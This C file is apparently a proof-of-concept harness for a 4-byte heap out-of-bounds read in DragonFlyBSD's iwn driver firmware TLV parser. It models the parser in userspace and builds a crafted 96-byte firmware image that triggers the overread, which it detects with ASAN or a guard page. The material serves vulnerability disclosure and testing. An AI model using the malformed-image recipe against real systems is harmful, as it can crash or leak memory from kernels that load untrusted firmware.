/*
 * DF-3577 PoC harness: 4-byte heap OOB read in iwn_read_firmware_tlv()
 * sys/dev/netif/iwn/if_iwn.c:8315-8320 (DragonFlyBSD), IWN_FW_TLV_PHY_CALIB.
 *
 * The parsing loop below is copied line-for-line from
 * iwn_read_firmware_tlv() (if_iwn.c:8271-8358); only the DPRINTF /
 * device_printf diagnostics are dropped and sc-> fields are modelled as
 * locals.  The bug:
 *
 *      case IWN_FW_TLV_PHY_CALIB:
 *              tmp = le32toh(*ptr);      <-- if_iwn.c:8316
 *
 * is executed for ANY len that passes the generic bound check
 * `ptr + len > end` (if_iwn.c:8280) -- including len == 0..3, for which
 * the 4-byte load at `ptr` runs past `end` (the end of the firmware
 * image).  Compare the sibling case IWN_FW_TLV_FLAGS (if_iwn.c:8327-8331)
 * which correctly rejects len < sizeof(uint32_t).
 *
 * The crafted image below is exactly 96 bytes:
 *   [0..88)   struct iwn_fw_tlv_hdr (zero=0, signature "IWL\n", ...)
 *   [88..96)  struct iwn_fw_tlv     (type=15 PHY_CALIB, alt=0, len=0)
 * i.e. the TLV sits at the very end of the buffer with a zero-length
 * payload; `*ptr` then reads 4 bytes past the allocation.
 *
 * Two detection modes (run.sh tries both):
 *   1. ASAN        : cc -fsanitize=address -> heap-buffer-overflow READ 4
 *   2. guard page  : image placed flush against a PROT_NONE page -> SIGSEGV
 *
 * Build: cc -O2 [-fsanitize=address] -o iwn_tlv_oob iwn_tlv_oob.c
 * Run:   ./iwn_tlv_oob          (mode from argv[1]: asan|guard)
 */
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

/* ---- verbatim from sys/dev/netif/iwn/if_iwnreg.h:1719-1754 ---- */
struct iwn_fw_tlv_hdr {
	uint32_t	zero;	/* Always 0, to differentiate from legacy. */
	uint32_t	signature;
#define IWN_FW_SIGNATURE	0x0a4c5749	/* "IWL\n" */
	uint8_t		descr[64];
	uint32_t	rev;
	uint32_t	build;
	uint64_t	altmask;
} __attribute__((__packed__));

struct iwn_fw_tlv {
	uint16_t	type;
	uint16_t	alt;
	uint32_t	len;
} __attribute__((__packed__));

#define IWN_FW_TLV_MAIN_TEXT		1
#define IWN_FW_TLV_MAIN_DATA		2
#define IWN_FW_TLV_INIT_TEXT		3
#define IWN_FW_TLV_INIT_DATA		4
#define IWN_FW_TLV_BOOT_TEXT		5
#define IWN_FW_TLV_ENH_SENS		14
#define IWN_FW_TLV_PHY_CALIB		15
#define IWN_FW_TLV_PAN			7
#define IWN_FW_TLV_FLAGS		18

#define le16toh(x)	(x)
#define le32toh(x)	(x)
#define le64toh(x)	(x)
#define htole16(x)	(x)
#define htole32(x)	(x)

static uint32_t reset_noise_gain, noise_gain, tlv_feature_flags;
static int fw_pan;

/* ---- model of iwn_read_firmware_tlv(), if_iwn.c:8237-8360 ---- */
static int
iwn_read_firmware_tlv_model(const uint8_t *fw_data, size_t fw_size)
{
	const struct iwn_fw_tlv_hdr *hdr;
	const struct iwn_fw_tlv *tlv;
	const uint8_t *ptr, *end;
	uint64_t altmask;
	uint32_t len, tmp;
	uint16_t alt = 1;

	if (fw_size < sizeof (*hdr))
		return (22);	/* EINVAL */
	hdr = (const struct iwn_fw_tlv_hdr *)fw_data;
	if (hdr->signature != htole32(IWN_FW_SIGNATURE))
		return (22);
	altmask = le64toh(hdr->altmask);
	while (alt > 0 && !(altmask & (1ULL << alt)))
		alt--;	/* Downgrade. */

	ptr = (const uint8_t *)(hdr + 1);
	end = (const uint8_t *)(fw_data + fw_size);

	/* Parse type-length-value fields. */
	while (ptr + sizeof (*tlv) <= end) {
		tlv = (const struct iwn_fw_tlv *)ptr;
		len = le32toh(tlv->len);

		ptr += sizeof (*tlv);
		if (ptr + len > end)
			return (22);	/* EINVAL: too short */
		/* Skip other alternatives. */
		if (tlv->alt != 0 && tlv->alt != htole16(alt))
			goto next;

		switch (le16toh(tlv->type)) {
		case IWN_FW_TLV_PAN:
			fw_pan = 1;
			break;
		case IWN_FW_TLV_ENH_SENS:
			if (!len)
				;	/* sc->sc_flags |= IWN_FLAG_ENH_SENS */
			break;
		case IWN_FW_TLV_PHY_CALIB:
			tmp = le32toh(*ptr);		/* <-- if_iwn.c:8316: OOB */
			printf("PHY_CALIB: read tmp=0x%08x\n", tmp);
			if (tmp < 253) {
				reset_noise_gain = tmp;
				noise_gain = tmp + 1;
			}
			break;
		case IWN_FW_TLV_FLAGS:
			if (len < sizeof (uint32_t))
				break;
			if (len % sizeof (uint32_t))
				break;
			tlv_feature_flags = le32toh(*ptr);
			break;
		default:
			break;
		}
 next:		/* TLV fields are 32-bit aligned. */
		ptr += (len + 3) & ~3;
	}
	return (0);
}

static const size_t IMG_SZ = sizeof (struct iwn_fw_tlv_hdr) +
    sizeof (struct iwn_fw_tlv);		/* 88 + 8 = 96 */

static void
build_image(uint8_t *img)
{
	struct iwn_fw_tlv_hdr *hdr = (struct iwn_fw_tlv_hdr *)img;
	struct iwn_fw_tlv *tlv;

	memset(img, 0, IMG_SZ);
	hdr->zero = 0;
	hdr->signature = htole32(IWN_FW_SIGNATURE);
	memcpy(hdr->descr, "DF-3577 malformed PHY_CALIB TLV", 31);
	hdr->rev = htole32(0x00000012);	/* API 0, any */
	hdr->build = 0;
	hdr->altmask = 0;

	tlv = (struct iwn_fw_tlv *)(img + sizeof (*hdr));
	tlv->type = IWN_FW_TLV_PHY_CALIB;
	tlv->alt = 0;
	tlv->len = 0;			/* zero-length payload */
}

int
main(int argc, char *argv[])
{
	const char *mode = argc > 1 ? argv[1] : "guard";

	if (strcmp(mode, "asan") == 0) {
		uint8_t *img = malloc(IMG_SZ);	/* exact size */
		build_image(img);
		printf("asan mode: image %zu bytes at %p, TLV at end, len=0\n",
		    IMG_SZ, img);
		fflush(stdout);
		iwn_read_firmware_tlv_model(img, IMG_SZ);
		printf("UNEXPECTED: parser returned without OOB\n");
		free(img);
		return (1);
	} else {
		/* guard-page mode: image ends flush at a PROT_NONE page */
		size_t pgsz = (size_t)sysconf(_SC_PAGESIZE);
		uint8_t *base = mmap(NULL, 2 * pgsz, PROT_READ | PROT_WRITE,
		    MAP_ANON | MAP_PRIVATE, -1, 0);
		if (base == MAP_FAILED) {
			perror("mmap");
			return (2);
		}
		if (mprotect(base + pgsz, pgsz, PROT_NONE) != 0) {
			perror("mprotect");
			return (2);
		}
		uint8_t *img = base + pgsz - IMG_SZ;	/* ends at guard */
		build_image(img);
		printf("guard mode: image %zu bytes ending exactly at "
		    "PROT_NONE page; TLV payload len=0\n", IMG_SZ);
		fflush(stdout);
		iwn_read_firmware_tlv_model(img, IMG_SZ);
		printf("UNEXPECTED: parser returned without OOB\n");
		return (1);
	}
}
